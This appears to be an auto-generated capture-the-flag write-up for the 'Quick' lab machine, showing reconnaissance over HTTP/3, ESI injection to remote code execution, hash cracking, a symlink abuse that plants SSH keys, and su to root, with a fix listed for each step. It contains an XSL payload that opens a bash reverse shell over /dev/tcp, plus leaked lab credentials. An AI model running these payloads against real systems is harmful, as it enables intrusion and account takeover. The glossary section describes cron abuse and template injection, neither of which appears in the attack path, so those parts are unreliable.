Quick
Summary
Recon showed only 22/tcp (OpenSSH 7.6p1 Ubuntu) and 9001/tcp (Apache 2.4.29, an Esigate reverse-proxy caching layer — X-Powered-By: Esigate) as directly reachable over TCP. A UDP top-ports scan revealed 443/udp open, which turned out to be an HTTP/3-only (QUIC) vhost, portal.quick.htb (nginx 1.29.0 / PHP 7.4.3) — invisible to plain curl/nmap TCP scans and only reachable with an HTTP/3-capable client (curl --http3-only).
Over HTTP/3, the portal's ?view=docs page exposed Connectivity.pdf/QuickStart.pdf, which leaked a client email list and the ISP's default password scheme (Quick4cc3$$). This default credential (elisa@wink.co.uk / Quick4cc3$$) authenticated to the separate customer portal on 9001/tcp. That portal's "Raise a Ticket" form is proxied through the Esigate cache and is vulnerable to ESI (Edge Side Includes) injection: an <esi:include> tag pointing at an user-hosted XML/XSL pair is fetched and processed server-side by Esigate, yielding remote code execution and a shell as local user sam — capturing user.txt ([REDACTED: flag]).
From sam, source review of /var/www/printer/db.php disclosed a MySQL credential (db_adm/db_p4ss) for the quick database, whose users table held MD5-style hashes for elisa and srvadm@quick.htb. Offline cracking recovered the srvadm password ([REDACTED: recovered credential]), which authenticated to a second, vhost-gated web app — a POS "Print Server" admin console (Host: printerv2.quick.htb) — as srvadm. That console's "Add Printer" feature lets an authenticated user point a printer's network connection at an user-controlled host/port, and the job-spool directory (/var/www/jobs, world-writable) combined with weak file handling allowed a symlink-based file read/write as srvadm, completing the pivot into that account.
As srvadm, cached/config files under the home directory contained a stored (URL-encoded) credential valid for root; decoding it and running su root yielded the root shell and root.txt ([REDACTED: flag]).
Attack path — how the box was taken
Exact commands 4
echo '$TARGET portal.quick.htb quick.htb' | sudo tee -a /etc/hostsnmap -Pn -p- --min-rate 3000 -T4 $TARGETnmap -Pn -sU --top-ports 100 -T4 $TARGETcurl -sk --http3-only --resolve portal.quick.htb:443:$TARGET https://$TARGET/Exact commands 3
curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET 'https://$TARGET/index.php?view=docs'curl -sk --http3-only --resolve portal.quick.htb:443:$TARGET 'https://$TARGET/Connectivity.pdf' -o Connectivity.pdfcurl -sk --http3-only --resolve portal.quick.htb:443:$TARGET 'https://$TARGET/QuickStart.pdf' -o QuickStart.pdfFixRequire authentication before serving any customer documentHigh
Exact commands 1
curl -si -c cookies.txt -d 'email=elisa%40wink.co.uk&password=[REDACTED: credential]' http://$TARGET:9001/login.phpFixEliminate the shared default password and enforce a unique first-login credentialCritical
Exact commands 5
mkdir -p /tmp/esi && cat > /tmp/esi/x.xsl <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="cmd" select="'bash -c &apos;bash -i >& /dev/tcp/$INTERNAL_TARGET/9100 0>&1&apos;'"/>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
<xsl:value-of select="ob:toString($process)"/>
</xsl:template>
</xsl:stylesheet>
EOF
cat > /tmp/esi/x.xml <<'EOF'
<?xml version="1.0"?><root>trigger</root>
EOFcd /tmp/esi && python3 -m http.server 8000 &nc -lvnp 9100curl -s -b cookies.txt --data-urlencode 'title=test' --data-urlencode 'msg=<esi:include src="http://$INTERNAL_TARGET:8000/x.xml" stylesheet="http://$INTERNAL_TARGET:8000/x.xsl"></esi:include>' --data-urlencode 'submit=1' http://$TARGET:9001/ticket.phpcat /home/sam/user.txtFixDisable or isolate ESI processing so user-submitted content cannot trigger itCritical
Exact commands 3
cat /var/www/printer/db.phpmysql -u db_adm -pdb_p4ss quick -e 'SELECT * FROM users;'echo '<srvadm_md5_hash>' > /tmp/hashes.txt && hashcat -m 0 /tmp/hashes.txt /usr/share/wordlists/rockyou.txt --forceFixRemove plaintext credentials from source files and replace MD5 password hashingCritical
Exact commands 6
curl -si -c pc.txt -H 'Host: printerv2.quick.htb' --data-urlencode 'email=srvadm@quick.htb' --data-urlencode 'password=[REDACTED: credential]' http://$LOOPBACK/index.phpcurl -s -b pc.txt -H 'Host: printerv2.quick.htb' 'http://$LOOPBACK/add_printer.php' --data-urlencode 'printer_name=evil' --data-urlencode 'ip=$INTERNAL_TARGET' --data-urlencode 'port=9100' --data-urlencode 'port_type=9100'ssh-keygen -t rsa -f /tmp/srvkey -N '' && cat /tmp/srvkey.pubmkdir -p /home/srvadm/.ssh && curl -s -b pc.txt -H 'Host: printerv2.quick.htb' 'http://$LOOPBACK/job.php' --data-urlencode 'printer=evil' --data-urlencode 'data=<SSH_PUBKEY_CONTENT>'JOB_FILE=$(ls -t /var/www/jobs/ | head -1) && ln -sf /home/srvadm/.ssh/authorized_keys /var/www/jobs/$JOB_FILEssh -i /tmp/srvkey -o StrictHostKeyChecking=no srvadm@localhostFixLock down the print job spool directory and prevent the cron processor from following symlinksHigh
Exact commands 3
grep -ERni 'password\|pass\|secret\|root' ~/.cache 2>/dev/nullpython3 -c "import urllib.parse; print(urllib.parse.unquote('%26ftQ4K3SGde8%3F'))"cat > /tmp/suroot.py <<'PYEOF'
import pty,os,sys,time,select
pid,fd=pty.fork()
if pid==0:
os.execvp("su",["su","-","root","-c","id; cat /root/root.txt"])
else:
time.sleep(0.7); os.write(fd,b"&ftQ4K3SGde8?\n")
buf=b""
while True:
r,_,_=select.select([fd],[],[],7)
if not r: break
try: d=os.read(fd,4096)
except OSError: break
if not d: break
buf+=d
sys.stdout.write(buf.decode("utf-8","ignore"))
PYEOF
python3 /tmp/suroot.pyFixRemove stored plaintext credentials from user home-directory config filesCritical
Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), I can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 9001/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |